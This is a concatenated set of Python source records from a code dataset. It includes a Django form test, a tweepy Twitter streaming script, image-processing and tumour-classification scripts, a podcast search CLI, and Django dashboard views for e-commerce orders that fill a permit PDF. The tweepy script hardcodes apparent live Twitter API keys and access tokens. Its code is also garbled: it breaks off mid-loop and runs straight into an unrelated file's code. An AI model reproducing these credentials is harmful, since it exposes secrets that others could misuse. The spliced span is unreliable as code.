\"5233665\",\n 'Details': \"l2etha\",\n 'FoundPersonImage': \"\",\n # m=image mockup dont forget\n })\n\n self.assertTrue(form.is_valid())\n missp = form.save()\n self.assertEqual(missp.sex, \"female\")\n self.assertEqual(missp.FoundIn, \"cairo\")\n self.assertEqual(missp.FoundDate, \"20/4/2015\")\n self.assertEqual(missp.Location, \"5233665\")\n self.assertEqual(missp.Details, \"l2etha\")\n self.assertEqual(missp.FoundPersonImage, \"\")\n\n def test_blank_data(self):\n form = FoundForm({})\n\n self.assertFalse(form.is_valid())\n self.assertEqual(form.errors, {\n 'Sex': ['required'],\n 'FoundIn': ['required'],\n 'FoundDate': ['required'],\n 'Location': ['required'],\n 'Details': ['required'],\n 'FoundPersonImage': ['required'],\n })\n","sub_path":"webApp/Tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":7226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"254655268","text":"'''\r\nCreated on Jan 13, 2016\r\n\r\n@author: sikarwar\r\n'''\r\nimport tweepy\r\nimport time\r\n\r\nconsumer_key = 'aH794GGJxajhdo0TMKL0JFv1G'\r\nconsumer_secret = 'En6vL1fAgzqM6udB5u2nOudycQtl3R88b6AAmq2BgIYQeHCM4E'\r\naccess_token = '120706391-sKNwtiLqOlz5pXCWKrXf2FjNvtkecjyA7VdKxAVr'\r\naccess_token_secret = 'mzbWcaSiVsdJVkOADrzMPrMNDPE9Vww1ukBz6Vw0aWMn2'\r\n\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\napi = tweepy.API(auth)\r\n\r\nclass listener(tweepy.StreamListener):\r\n \r\n def __init__(self, start_time, time_limit=300):\r\n self.time = start_time\r\n self.limit = time_limit\r\n self.tweet_data = []\r\n \r\n def on_data(self, data):\r\n saveFile = open('raw_tweets.json', 'a')\r\n while(time.time() - self.time)=y_min and l= x_min:\n datu = data[r][l]\n tmp.append(datu)\n if tmp:\n result.append(tmp)\n tmp = []\n # print result\n result = np.array(result)\n return result\n \n\n\ndef main():\n # f_path = raw_input(\"\\nInput original picture direction:\")\n f_path = \"C:\\\\Users\\\\user\\\\Desktop\\\\11\"\n # s_path = raw_input(\"\\nInput direction:\")\n s_path = \"C:\\\\Users\\\\user\\\\Desktop\\\\44\"\n out_dir = \"C:\\\\Users\\\\user\\\\Desktop\\\\55\"\n starttime = datetime.datetime.now()\n\n f_file_list = get_filename(f_path)\n s_file_list = get_filename(s_path)\n su = 0\n er = 0\n sk = 0\n for f in f_file_list:\n f_name = os.path.basename(f)\n a_name = f_name.split('.') [0]\n for s in s_file_list:\n s_name = os.path.basename(s)\n b_name = s_name.split('.') [0]\n if a_name == b_name:\n fail,su,er = handle_picture(f,s,out_dir,s_path,s_name,su,er)\n s_file_list.remove(s)\n else:\n print(\"Skip: [ %s ]\" % s)\n sk = sk + 1\n\n endtime = datetime.datetime.now()\n expend = endtime - starttime\n \"\"\"\n if fail:\n print(\"*****************************************************\")\n print (fail)\n print(\"*****************************************************\")\n print(\"Begn: [ %s ]\" % starttime)\n print(\"Time: [ %s ]\" % expend)\n print(\"Succ: [ %s ]\" % su)\n print(\"Skip: [ %s ]\" % sk)\n print(\"Erro: [ %s ]\" % er)\n \"\"\"\nif __name__ == '__main__':\n main()\n","sub_path":"tool/文件处理/moveandHandlePictureWithoutInitialize.py","file_name":"moveandHandlePictureWithoutInitialize.py","file_ext":"py","file_size_in_byte":5611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"89560052","text":"import numpy as np\r\nimport cv2\r\nimport tensorflow as tf\r\nfrom tensorflow.keras import backend as K\r\n\r\n'''\r\nLoading the Classifier Model from the disk\r\n'''\r\nwith open('classifier_model.json', 'r') as json_file:\r\n json_savedModel = json_file.read()\r\n\r\n# load the model architecture\r\nmodel = tf.keras.models.model_from_json(json_savedModel)\r\nmodel.load_weights('classifier_weights.h5')\r\nopt = tf.keras.optimizers.Adam(learning_rate=0.0001)\r\nmodel.compile(optimizer=opt,loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])\r\n\r\n'''\r\nLoading the Localization Model from the disk\r\n'''\r\nwith open('localization_model.json', 'r') as json_file:\r\n json_savedModel= json_file.read()\r\n\r\n# load the model architecture \r\nlocalize_model = tf.keras.models.model_from_json(json_savedModel)\r\nlocalize_model.load_weights('localization_weights.h5')\r\nlocalize_model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\r\n\r\n'''\r\nFunction to classify image as Tumor or Not and Localize in case of Tumor found\r\n'''\r\ndef identify_tumor(file_path):\r\n img = cv2.imread(file_path, cv2.IMREAD_COLOR)\r\n img = cv2.resize(img,(128,128))\r\n img = np.array(img)\r\n img = img/255\r\n img = img.reshape((1, 128, 128, 3))\r\n predictions = model.predict(img)\r\n predicted = np.argmax(predictions[0])\r\n probablity = predictions[0][predicted]\r\n\r\n labels = {0: 'No Tumor', 1: 'Tumor'}\r\n result = {\r\n 'class': labels[predicted],\r\n 'probablity': probablity\r\n }\r\n\r\n if predicted==1:\r\n localize_tumor(file_path)\r\n\r\n return result\r\n\r\n'''\r\nFunction to Localize Tumor in case of Tumor found\r\n'''\r\ndef localize_tumor(file_path):\r\n img = cv2.imread(file_path, cv2.IMREAD_COLOR)\r\n img = cv2.resize(img,(256,256))\r\n img = np.array(img)\r\n img = img/255\r\n img = img.reshape((1, 256, 256, 3))\r\n predictions = localize_model.predict(img)\r\n img = np.squeeze(predictions[0])\r\n img = img*255\r\n img = img.astype('uint8')\r\n cv2.imwrite(\"mask_output.png\", img)\r\n","sub_path":"Trained Model/utilize_model.py","file_name":"utilize_model.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"286213460","text":"import webbrowser\n\nimport api\n\n\ndef main():\n keyword = input('What are you looking for? ')\n results = api.search_talk_python(keyword)\n\n print(f'There are {len(results)} matching episodes:')\n for idx, episode in enumerate(results):\n print(f'{int(idx) + 1}. {episode.category} - {episode.title}')\n\n choice = input('If you would like to view a result enter the number or '\n 'enter anything else to exit: ')\n if choice.isdigit():\n webbrowser.open(f'https://talkpython.fm{results[int(choice) - 1].url}',\n new=2)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"days/43-45-search-api/talkpython_search/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"453684838","text":"import pandas as pd\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\noriginal = pd.read_csv('houseFALL.csv')\n\ndf = original[['ID', 'Income']]\n\n# ランク付けする\ndf['rank'] = df['Income'].rank(method='first', ascending=False)\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n\n\nax.scatter(df['Income'],df['rank'], s=5)\n\n# x axis\n# plt.xlim([0, 5])\n# ax.set_xticks([0, 1, 2, 3, 4, 5])\n# ax.set_xticklabels(['1', '10', '10^2', '10^3', '10^4', '10^5'])\nax.set_xlabel('Number of Balls in Boxes(log10)')\n\n# y axis\n# plt.ylim([0, 4])\n# ax.set_yticks([0, 1, 2, 3, 4])\n# ax.set_yticklabels(['1', '10', '10^2', '10^3', '10^4'])\nax.set_ylabel('Rank(log10)')\n\n# legend and title\nax.legend(loc='best')\nplt.title('mm={}'.format(100))\n\n# plt.savefig('{}_figure.png'.format('kokoko'))\n\ndf[['Income', 'rank']].to_csv('income_rank.csv', index=False)","sub_path":"csv_to_rank.py","file_name":"csv_to_rank.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"117966759","text":"from django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import permission_required\nfrom django.db import transaction\nfrom django.db.models import F\nfrom django.forms import modelformset_factory\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.template.context_processors import csrf\nfrom django.template.response import TemplateResponse\nfrom django.utils.translation import npgettext_lazy, pgettext_lazy\nfrom django_prices.templatetags import prices_i18n\nfrom payments import PaymentStatus\nfrom prices import Money, TaxedMoney\n\nfrom ...core.exceptions import InsufficientStock\nfrom ...core.utils import ZERO_TAXED_MONEY, get_paginator_items\nfrom ...order import OrderStatus\nfrom ...order.emails import (\n send_fulfillment_confirmation, send_fulfillment_update)\nfrom ...order.models import (\n Fulfillment, FulfillmentLine, Order, OrderLine, OrderNote)\nfrom ...order.utils import update_order_status\nfrom ...product.models import StockLocation\nfrom ..views import staff_member_required\nfrom .filters import OrderFilter\nfrom .forms import (\n AddressForm, AddVariantToOrderForm, BaseFulfillmentLineFormSet,\n CancelFulfillmentForm, CancelOrderForm, CancelOrderLineForm,\n CapturePaymentForm, ChangeQuantityForm, ChangeStockForm, FulfillmentForm,\n FulfillmentLineForm, FulfillmentTrackingNumberForm, OrderNoteForm,\n RefundPaymentForm, ReleasePaymentForm, RemoveVoucherForm)\nfrom .utils import (\n create_invoice_pdf, create_packing_slip_pdf, get_statics_absolute_url)\n\n\n@staff_member_required\n@permission_required('order.view_order')\ndef order_list(request):\n orders = Order.objects.prefetch_related(\n 'payments', 'lines', 'user').order_by('-pk')\n order_filter = OrderFilter(request.GET, queryset=orders)\n orders = get_paginator_items(\n order_filter.qs, settings.DASHBOARD_PAGINATE_BY,\n request.GET.get('page'))\n ctx = {\n 'orders': orders, 'filter_set': order_filter,\n 'is_empty': not order_filter.queryset.exists()}\n return TemplateResponse(request, 'dashboard/order/list.html', ctx)\n\n\n@staff_member_required\n@permission_required('order.view_order')\ndef order_details(request, order_pk):\n qs = Order.objects.select_related(\n 'user', 'shipping_address', 'billing_address').prefetch_related(\n 'notes', 'payments', 'history', 'lines')\n order = get_object_or_404(qs, pk=order_pk)\n notes = order.notes.all()\n all_payments = order.payments.exclude(status=PaymentStatus.INPUT)\n payment = order.payments.last()\n captured = preauthorized = ZERO_TAXED_MONEY\n balance = captured - order.total\n if payment:\n can_capture = (\n payment.status == PaymentStatus.PREAUTH and\n order.status != OrderStatus.CANCELED)\n can_release = payment.status == PaymentStatus.PREAUTH\n can_refund = payment.status == PaymentStatus.CONFIRMED\n preauthorized = payment.get_total_price()\n if payment.status == PaymentStatus.CONFIRMED:\n captured = payment.get_captured_price()\n balance = captured - order.total\n else:\n can_capture = can_release = can_refund = False\n is_many_stock_locations = StockLocation.objects.count() > 1\n ctx = {'order': order, 'all_payments': all_payments, 'payment': payment,\n 'notes': notes, 'captured': captured, 'balance': balance,\n 'preauthorized': preauthorized, 'can_capture': can_capture,\n 'can_release': can_release, 'can_refund': can_refund,\n 'is_many_stock_locations': is_many_stock_locations}\n return TemplateResponse(request, 'dashboard/order/detail.html', ctx)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef order_add_note(request, order_pk):\n order = get_object_or_404(Order, pk=order_pk)\n note = OrderNote(order=order, user=request.user)\n form = OrderNoteForm(request.POST or None, instance=note)\n status = 200\n if form.is_valid():\n form.save()\n msg = pgettext_lazy(\n 'Dashboard message related to an order',\n 'Added note')\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n if note.is_public:\n form.send_confirmation_email()\n elif form.errors:\n status = 400\n ctx = {'order': order, 'form': form}\n ctx.update(csrf(request))\n template = 'dashboard/order/modal/add_note.html'\n return TemplateResponse(request, template, ctx, status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef capture_payment(request, order_pk, payment_pk):\n order = get_object_or_404(Order, pk=order_pk)\n payment = get_object_or_404(order.payments, pk=payment_pk)\n amount = order.total.quantize('0.01').gross\n form = CapturePaymentForm(request.POST or None, payment=payment,\n initial={'amount': amount})\n if form.is_valid() and form.capture():\n amount = form.cleaned_data['amount']\n msg = pgettext_lazy(\n 'Dashboard message related to a payment',\n 'Captured %(amount)s') % {'amount': prices_i18n.amount(amount)}\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n status = 400 if form.errors else 200\n ctx = {'captured': payment.captured_amount, 'currency': payment.currency,\n 'form': form, 'order': order, 'payment': payment}\n return TemplateResponse(request, 'dashboard/order/modal/capture.html', ctx,\n status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef refund_payment(request, order_pk, payment_pk):\n order = get_object_or_404(Order, pk=order_pk)\n payment = get_object_or_404(order.payments, pk=payment_pk)\n amount = payment.captured_amount\n form = RefundPaymentForm(request.POST or None, payment=payment,\n initial={'amount': amount})\n if form.is_valid() and form.refund():\n amount = form.cleaned_data['amount']\n msg = pgettext_lazy(\n 'Dashboard message related to a payment',\n 'Refunded %(amount)s') % {'amount': prices_i18n.amount(amount)}\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n status = 400 if form.errors else 200\n ctx = {'captured': payment.captured_amount, 'currency': payment.currency,\n 'form': form, 'order': order, 'payment': payment}\n return TemplateResponse(request, 'dashboard/order/modal/refund.html', ctx,\n status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef release_payment(request, order_pk, payment_pk):\n order = get_object_or_404(Order, pk=order_pk)\n payment = get_object_or_404(order.payments, pk=payment_pk)\n form = ReleasePaymentForm(request.POST or None, payment=payment)\n if form.is_valid() and form.release():\n msg = pgettext_lazy('Dashboard message', 'Released payment')\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n status = 400 if form.errors else 200\n ctx = {'captured': payment.captured_amount, 'currency': payment.currency,\n 'form': form, 'order': order, 'payment': payment}\n return TemplateResponse(request, 'dashboard/order/modal/release.html', ctx,\n status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef orderline_change_quantity(request, order_pk, line_pk):\n order = get_object_or_404(Order, pk=order_pk)\n line = get_object_or_404(order.lines.all(), pk=line_pk)\n form = ChangeQuantityForm(request.POST or None, instance=line)\n status = 200\n old_quantity = line.quantity\n if form.is_valid():\n msg = pgettext_lazy(\n 'Dashboard message related to an order line',\n 'Changed quantity for product %(product)s from'\n ' %(old_quantity)s to %(new_quantity)s') % {\n 'product': line.product, 'old_quantity': old_quantity,\n 'new_quantity': line.quantity}\n with transaction.atomic():\n order.history.create(content=msg, user=request.user)\n form.save()\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n elif form.errors:\n status = 400\n ctx = {'order': order, 'object': line, 'form': form}\n template = 'dashboard/order/modal/change_quantity.html'\n return TemplateResponse(request, template, ctx, status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef orderline_cancel(request, order_pk, line_pk):\n order = get_object_or_404(Order, pk=order_pk)\n line = get_object_or_404(order.lines.all(), pk=line_pk)\n form = CancelOrderLineForm(data=request.POST or None, line=line)\n status = 200\n if form.is_valid():\n msg = pgettext_lazy(\n 'Dashboard message related to an order line',\n 'Cancelled item %s') % line\n with transaction.atomic():\n order.history.create(content=msg, user=request.user)\n form.cancel_line()\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n elif form.errors:\n status = 400\n ctx = {'order': order, 'item': line, 'form': form}\n return TemplateResponse(\n request, 'dashboard/order/modal/cancel_line.html',\n ctx, status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef add_variant_to_order(request, order_pk):\n \"\"\"Add variant in given quantity to an order.\"\"\"\n order = get_object_or_404(Order, pk=order_pk)\n form = AddVariantToOrderForm(\n request.POST or None, order=order, discounts=request.discounts)\n status = 200\n if form.is_valid():\n msg_dict = {\n 'quantity': form.cleaned_data.get('quantity'),\n 'variant': form.cleaned_data.get('variant')}\n try:\n with transaction.atomic():\n form.save()\n msg = pgettext_lazy(\n 'Dashboard message related to an order',\n 'Added %(quantity)d x %(variant)s') % msg_dict\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n except InsufficientStock:\n msg = pgettext_lazy(\n 'Dashboard message related to an order',\n 'Insufficient stock: could not add %(quantity)d x %(variant)s'\n ) % msg_dict\n messages.warning(request, msg)\n return redirect('dashboard:order-details', order_pk=order_pk)\n elif form.errors:\n status = 400\n ctx = {'order': order, 'form': form}\n template = 'dashboard/order/modal/add_variant_to_order.html'\n return TemplateResponse(request, template, ctx, status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef address_view(request, order_pk, address_type):\n order = Order.objects.get(pk=order_pk)\n if address_type == 'shipping':\n address = order.shipping_address\n success_msg = pgettext_lazy(\n 'Dashboard message',\n 'Updated shipping address')\n else:\n address = order.billing_address\n success_msg = pgettext_lazy(\n 'Dashboard message',\n 'Updated billing address')\n form = AddressForm(request.POST or None, instance=address)\n if form.is_valid():\n updated_address = form.save()\n if address is None:\n if address_type == 'shipping':\n order.shipping_address = updated_address\n else:\n order.billing_address = updated_address\n order.save()\n order.history.create(content=success_msg, user=request.user)\n messages.success(request, success_msg)\n return redirect('dashboard:order-details', order_pk=order_pk)\n ctx = {'order': order, 'address_type': address_type, 'form': form}\n return TemplateResponse(request, 'dashboard/order/address_form.html', ctx)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef cancel_order(request, order_pk):\n status = 200\n order = get_object_or_404(Order, pk=order_pk)\n form = CancelOrderForm(request.POST or None, order=order)\n if form.is_valid():\n msg = pgettext_lazy('Dashboard message', 'Order canceled')\n with transaction.atomic():\n form.cancel_order()\n if form.cleaned_data.get('restock'):\n restock_msg = npgettext_lazy(\n 'Dashboard message',\n 'Restocked %(quantity)d item',\n 'Restocked %(quantity)d items',\n 'quantity') % {'quantity': order.get_total_quantity()}\n order.history.create(content=restock_msg, user=request.user)\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n # TODO: send status confirmation email\n elif form.errors:\n status = 400\n ctx = {'form': form, 'order': order}\n return TemplateResponse(\n request, 'dashboard/order/modal/cancel_order.html', ctx,\n status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef remove_order_voucher(request, order_pk):\n status = 200\n order = get_object_or_404(Order, pk=order_pk)\n form = RemoveVoucherForm(request.POST or None, order=order)\n if form.is_valid():\n msg = pgettext_lazy('Dashboard message', 'Removed voucher from order')\n with transaction.atomic():\n form.remove_voucher()\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n elif form.errors:\n status = 400\n ctx = {'order': order}\n return TemplateResponse(request,\n 'dashboard/order/modal/order_remove_voucher.html',\n ctx, status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef order_invoice(request, order_pk):\n orders = Order.objects.prefetch_related(\n 'user', 'shipping_address', 'billing_address', 'voucher')\n order = get_object_or_404(orders, pk=order_pk)\n absolute_url = get_statics_absolute_url(request)\n pdf_file, order = create_invoice_pdf(order, absolute_url)\n response = HttpResponse(pdf_file, content_type='application/pdf')\n name = \"invoice-%s\" % order.id\n response['Content-Disposition'] = 'filename=%s' % name\n return response\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef fulfillment_packing_slips(request, order_pk, fulfillment_pk):\n orders = Order.objects.prefetch_related(\n 'user', 'shipping_address', 'billing_address')\n order = get_object_or_404(orders, pk=order_pk)\n fulfillments = order.fulfillments.prefetch_related(\n 'lines', 'lines__order_line')\n fulfillment = get_object_or_404(fulfillments, pk=fulfillment_pk)\n absolute_url = get_statics_absolute_url(request)\n pdf_file, order = create_packing_slip_pdf(order, fulfillment, absolute_url)\n response = HttpResponse(pdf_file, content_type='application/pdf')\n name = \"packing-slip-%s\" % (order.id,)\n response['Content-Disposition'] = 'filename=%s' % name\n return response\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef orderline_change_stock(request, order_pk, line_pk):\n line = get_object_or_404(OrderLine, pk=line_pk)\n status = 200\n form = ChangeStockForm(request.POST or None, instance=line)\n if form.is_valid():\n form.save()\n msg = pgettext_lazy(\n 'Dashboard message',\n 'Stock location changed for %s') % form.instance.product_sku\n messages.success(request, msg)\n elif form.errors:\n status = 400\n ctx = {'order_pk': order_pk, 'line_pk': line_pk, 'form': form}\n template = 'dashboard/order/modal/order_line_stock.html'\n return TemplateResponse(request, template, ctx, status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef fulfill_order_lines(request, order_pk):\n order = get_object_or_404(Order, pk=order_pk)\n unfulfilled_lines = order.lines.filter(\n quantity_fulfilled__lt=F('quantity'))\n status = 200\n form = FulfillmentForm(\n request.POST or None, order=order, instance=Fulfillment())\n FulfillmentLineFormSet = modelformset_factory(\n FulfillmentLine, form=FulfillmentLineForm, extra=len(unfulfilled_lines),\n formset=BaseFulfillmentLineFormSet)\n initial = [\n {'order_line': line, 'quantity': line.quantity_unfulfilled}\n for line in unfulfilled_lines]\n formset = FulfillmentLineFormSet(\n request.POST or None, queryset=FulfillmentLine.objects.none(),\n initial=initial)\n all_forms_valid = all([line_form.is_valid() for line_form in formset])\n if all_forms_valid and form.is_valid():\n forms_to_save = [\n line_form for line_form in formset\n if line_form.cleaned_data.get('quantity') > 0]\n if forms_to_save:\n fulfillment = form.save()\n quantity_fulfilled = 0\n for line_form in forms_to_save:\n line = line_form.save(commit=False)\n line.fulfillment = fulfillment\n line.save()\n quantity_fulfilled += line_form.cleaned_data.get('quantity')\n update_order_status(order)\n msg = npgettext_lazy(\n 'Dashboard message related to an order',\n 'Fulfilled %(quantity_fulfilled)d item',\n 'Fulfilled %(quantity_fulfilled)d items',\n 'quantity_fulfilled') % {\n 'quantity_fulfilled': quantity_fulfilled}\n order.history.create(content=msg, user=request.user)\n if form.cleaned_data.get('send_mail'):\n send_fulfillment_confirmation.delay(order.pk, fulfillment.pk)\n send_mail_msg = pgettext_lazy(\n 'Dashboard message related to an order',\n 'Shipping confirmation email was sent to user'\n '(%(email)s)') % {'email': order.get_user_current_email()}\n order.history.create(content=send_mail_msg, user=request.user)\n else:\n msg = pgettext_lazy(\n 'Dashboard message related to an order', 'No items fulfilled')\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n elif form.errors:\n status = 400\n ctx = {\n 'form': form, 'formset': formset, 'order': order,\n 'unfulfilled_lines': unfulfilled_lines}\n template = 'dashboard/order/fulfillment.html'\n return TemplateResponse(request, template, ctx, status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef cancel_fulfillment(request, order_pk, fulfillment_pk):\n status = 200\n order = get_object_or_404(Order, pk=order_pk)\n fulfillment = get_object_or_404(\n order.fulfillments.all(), pk=fulfillment_pk)\n form = CancelFulfillmentForm(request.POST or None, fulfillment=fulfillment)\n if form.is_valid():\n msg = pgettext_lazy(\n 'Dashboard message', 'Fulfillment #%(fulfillment)s canceled') % {\n 'fulfillment': fulfillment.composed_id}\n with transaction.atomic():\n form.cancel_fulfillment()\n if form.cleaned_data.get('restock'):\n restock_msg = npgettext_lazy(\n 'Dashboard message',\n 'Restocked %(quantity)d item',\n 'Restocked %(quantity)d items',\n 'quantity') % {\n 'quantity': fulfillment.get_total_quantity()}\n order.history.create(content=restock_msg, user=request.user)\n order.history.create(content=msg, user=request.user)\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n elif form.errors:\n status = 400\n ctx = {'form': form, 'order': order, 'fulfillment': fulfillment}\n return TemplateResponse(\n request, 'dashboard/order/modal/cancel_fulfillment.html', ctx,\n status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef change_fulfillment_tracking(request, order_pk, fulfillment_pk):\n status = 200\n order = get_object_or_404(Order, pk=order_pk)\n fulfillment = get_object_or_404(\n order.fulfillments.all(), pk=fulfillment_pk)\n form = FulfillmentTrackingNumberForm(\n request.POST or None, instance=fulfillment)\n if form.is_valid():\n form.save()\n if fulfillment.tracking_number:\n msg = pgettext_lazy(\n 'Dashboard message',\n 'Fulfillment #%(fulfillment)s tracking number changed to: '\n '#%(tracking_number)s') % {\n 'fulfillment': fulfillment.composed_id,\n 'tracking_number': fulfillment.tracking_number}\n else:\n msg = pgettext_lazy(\n 'Dashboard message',\n 'Fulfillment #%(fulfillment)s tracking number removed') % {\n 'fulfillment': fulfillment.composed_id}\n order.history.create(content=msg, user=request.user)\n if form.cleaned_data.get('send_mail'):\n send_fulfillment_update.delay(order.pk, fulfillment.pk)\n send_mail_msg = pgettext_lazy(\n 'Dashboard message related to an order',\n 'Shipping update email was sent to user (%(email)s)') % {\n 'email': order.get_user_current_email()}\n order.history.create(content=send_mail_msg, user=request.user)\n messages.success(request, msg)\n return redirect('dashboard:order-details', order_pk=order.pk)\n elif form.errors:\n status = 400\n ctx = {'form': form, 'order': order, 'fulfillment': fulfillment}\n return TemplateResponse(\n request, 'dashboard/order/modal/fulfillment_tracking.html', ctx,\n status=status)\n\n\n@staff_member_required\n@permission_required('order.edit_order')\ndef order_permit_pdf(request, order_pk):\n orders = Order.objects.prefetch_related(\n 'user', 'shipping_address', 'billing_address', 'voucher')\n order = get_object_or_404(orders, pk=order_pk)\n absolute_url = get_statics_absolute_url(request)\n\n# rendered_template = get_template(INVOICE_TEMPLATE).render(ctx)\n\n from PyPDF2 import PdfFileWriter, PdfFileReader\n import io\n from reportlab.pdfgen import canvas\n from reportlab.lib.pagesizes import letter\n\n packet = io.BytesIO()\n\n # create a new PDF with Reportlab - and fill in all the data.\n can = canvas.Canvas(packet, pagesize=letter)\n\n # Default font\n can.setFont(\"Times-Roman\", 11)\n\n#------------\n# For debugging purposes.\n#\n# can.drawString(10, 700, order)\n\n# i=700\n#\n# for attr in dir(order.created):\n# if hasattr( order.created, attr ):\n# can.drawString(10, i, \"order.%s = %s\" % (attr, getattr(order.created, attr)))\n# i=i-5\n# Start a new page.\n# can.showPage()\n\n\n#--------------------\n# Handle time/date formats here.\n# order.created = 2018-04-22 20:17:35.283285+00:00\n\n#--------------------\n# Start populating the checkboxes (page 1)\n\n can.setFont(\"Times-Roman\", 18)\n\n # Contractor\n can.drawString(155, 604, \"X\")\n\n # 1 & 2 Family Dwelling / Townhouse\n can.drawString(141, 623, \"X\")\n\n # Mobile/Manufactured home\n can.drawString(270, 623, \"X\")\n\n # Design Professional\n can.drawString(303, 604, \"X\")\n\n # Residential 3+ units/Multi-family\n can.drawString(388, 623, \"X\")\n\n # Commercial\n can.drawString(523, 623, \"X\")\n\n # Owner Builder\n can.drawString(485, 604, \"X\")\n\n\n#-------------------------------\n# Start populating the Property Information (page 1)\n\n # Reset the font in case it was changed elsewhere\n can.setFont(\"Times-Roman\", 11)\n\n # Those are 13 y units apart\n can.drawString(120, 574, \"Parcel/Folio Line 1234567890\")\n\n can.drawString(120, 561, order.billing_address.street_address_1)\n# can.drawString(120, 561, \"Address Line 1 12345678901234567890\")\n# can.drawString(120, 548, \"Address Line 2 12345678901234567890\")\n\n addr2=order.billing_address.street_address_2 + \" \" + order.billing_address.city + \", \" + order.billing_address.country_area + \" \" + order.billing_address.postal_code\n\n\n can.drawString(120, 548, addr2)\n\n\n # 14 units..\n can.drawString(120, 534, order.billing_address.full_name) # Owner name\n\n # 13 units\n can.drawString(120, 521, order.billing_address.phone.as_national) # Owner phone\n\n can.drawString(120, 508, \"Subdivision\")\n \n # etc. \n can.drawString(120, 494, \"Lot/Block/Unit\")\n can.drawString(120, 481, \"SDP/PL#\")\n can.drawString(120, 468, \"PL# Filename Line 1\")\n can.drawString(120, 455, \"PL# Filename Line 2\")\n\n\n#-----------------------\n# Start populating application information\n can.setFont(\"Times-Roman\", 16)\n\n # Sub contractors.\n # Elec\n can.drawString(120, 410, \"X\")\n\n # Plumb\n can.drawString(157, 410, \"X\")\n\n # Mech\n can.drawString(208, 410, \"X\")\n\n # Roof\n can.drawString(256, 410, \"X\")\n\n # Septic\n can.drawString(299, 410, \"X\")\n\n # Low Voltage\n can.drawString(342, 410, \"X\")\n\n # Shutters\n can.drawString(407, 410, \"X\")\n\n # ELECT from house\n can.drawString(455, 410, \"X\")\n\n # Gas\n can.drawString(540, 410, \"X\")\n\n\n # Related to Hurricane Irma\n # No\n can.drawString(553, 335, \"X\")\n # Yes\n can.drawString(518, 335, \"X\")\n\n\n#----------------------\n# Start populating project information\n\n # Reset the font in case it was changed elsewhere\n can.setFont(\"Times-Roman\", 11)\n\n # Project name\n can.drawString(278, 303, \"Project Name\")\n\n # Declared Value\n can.drawString(504, 303, \"Declared Value\")\n\n # Line 2\n can.drawString(23, 274, \"Line 2 1234567890123456789012345678901234567890\")\n\n # Line 3\n can.drawString(23, 260, \"Line 3 1234567890123456789012345678901234567890\")\n\n # Line 4\n can.drawString(23, 246, \"Line 4 1234567890123456789012345678901234567890\")\n\n # Line 5\n can.drawString(23, 232, \"Line 5 1234567890123456789012345678901234567890\")\n\n\n#-----------------------\n# Start a new page.\n can.showPage()\n\n # Section A\n# can.drawString(282,452,\"23rd\") # Day\n# can.drawString(353,452,\"December\") # Month\n# can.drawString(462,452,\"18\") # Year\n\n can.drawString(282,452,order.created.strftime(\"%d\")) # Day\n can.drawString(353,452,order.created.strftime(\"%B\")) # Month\n can.drawString(462,452,order.created.strftime(\"%y\")) # Year\n\n\n\n # Section B\n# can.drawString(282,325,\"23rd\") # Day\n# can.drawString(353,325,\"December\") # Month\n# can.drawString(462,325,\"18\") # Year\n\n can.drawString(282,325,order.created.strftime(\"%d\")) # Day\n can.drawString(353,325,order.created.strftime(\"%B\")) # Month\n can.drawString(462,325,order.created.strftime(\"%y\")) # Year\n\n\n#-----------------------\n# End of entering data into the form.\n#\n\n # Save it.\n 